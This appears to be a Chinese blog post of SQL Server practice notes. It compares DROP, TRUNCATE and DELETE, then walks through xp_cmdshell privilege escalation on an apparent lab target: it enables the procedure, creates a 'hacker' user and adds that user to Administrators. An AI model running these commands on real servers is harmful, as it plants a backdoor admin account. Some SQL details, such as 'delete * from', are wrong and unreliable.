Sql server语句练习

发布于:2023-01-04 ⋅ 阅读:(369) ⋅ 点赞:(0)

一、sqlserver中drop、truncate和delete语句的用法

1.drop(删的一干二净)

  • drop table 表名
  • 作用:删除表内容和结构,释放空间,没有备份表之前要慎用;
  • 实例:我们创建一个student表,然后再用drop
    在这里插入图片描述
  • 给student表插入数据
    在这里插入图片描述
  • 执行drop table student 将其删除,可以student表就被完全删除
    在这里插入图片描述
    在这里插入图片描述

2.truncate(清空表中的数据)

  • truncate table 表名

  • 作用:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用,同时在truncate中,添加WHERE子句是不可能的。

  • (1)实例:还是student表表中存有数据,我们使用truncate删除student表。

  • 可以看到表中的数据被清空,但是表结构还在,说明执行语句之后,发现数据表的结构还在,也就是不删除定义
    在这里插入图片描述

  • (2)实例:

  • 使用delete删除yh5,然后发现表中sid标识列不连续(体现了delete删除是不释放空间的),先用delete删除表中数据,然后在填入数据发现表中sid标识列不连续,这体现了delete删除是不释放空间的。
    在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 然后我们再用truncate table student删除数据,在重新插入数据,同样sid是标识列,发现插入数据的时候,标识列连续了(体现了truncate删除是释放空间)注意:truncate 不能删除行数据,要删就要把表清空
    在这里插入图片描述

3.delete(不释放空间)

  • 作用
  • 删除指定数据,删除整个表,仅删除表test内的所有内容,保留表的定义,不释放空间。
  • delete from student where name='yh5';可以查看truncate中的实例
  • delete from student;delete * from student

4.相同与不同

  • 相同点:

  • drop、delete、truncate 都是删除表的内容。

  • 不同点:

  • delete:删除表的内容,表的结构还存在,不释放空间,可以回滚恢复;

  • drop:删除表内容和结构,释放空间,没有备份表之前要慎用;

  • truncate:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用;

  • 执行速度:drop > truncate > delete


二、xp_cmdshell 利用

1.SQL Server存储过程

存储过程是指为了完成特定的功能由一条或多条sql语句组成的集合,这些语句集合可以被多次调用,类似于批处理文件,通常指定一个名称进行存储,经系统进行编译后存储到数据库的服务器中,作为数据库的对象,形成一个处理单元,存储过程创建之后,用户通过指定存储过程名称与参数,调用该存储过程并且执行,在调用的过程中允许用户声明变量,设置条件,以便增强程序设计的能力。相当于调用函数,创建存储过程是面向开发者的。

在这里插入图片描述

2.xp_cmdshell 提权原理与远程连接

  • 利用xp_cmdshell 建立文件

  • use master使用系统数据库

  • RECONFIGURE;刷新权限

  • exec sp_configure 'show advanced options',1;打开系统高级设置

  • RECONFIGURE;再次刷新权限

  • exec sp_configure 'xp_cmdshell',1;打开以操作系统命令行解释器的方式执行给定的命令字符串

  • RECONFIGURE;再次刷新权限

  • exec xp_cmdshell 'mkdir c:\myfile',no_output;在c盘下创建文件
    在这里插入图片描述
    在这里插入图片描述

  • 利用xp_cmdshell建立远程连接

  • 首先打开sql server 远程登录,修改后重启服务SQL Server (MSSQLSERVER)
    在这里插入图片描述在这里插入图片描述

  • exec xp_cmdshell 'whoami'查看当前使用用户

  • exec xp_cmdshell 'net user'查看电脑上的用户组

  • exec xp_cmdshell 'net user hacker 123456 /add';创建hacker用户

  • exec xp_cmdshell 'net localgroup Administrators hacker /add';将其加入到管理员组中
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 打开exec sp_configure 'show advanced options',1;

  • recongigure

  • 关闭exec sp_configure 'xp_cmdshell',0

  • recongigure

  • 关闭exec sp_configure 'show advanced options',0;

  • recongigure

  • 要求靶机实际:需要满足以下条件 (很少能满足)
    1、xp_configure设置 两个 show advanced options,xp_cmdshell 设置为1
    2、执行net user add 设置服务的本地用户


网站公告

今日签到

点亮在社区的每一天
去签到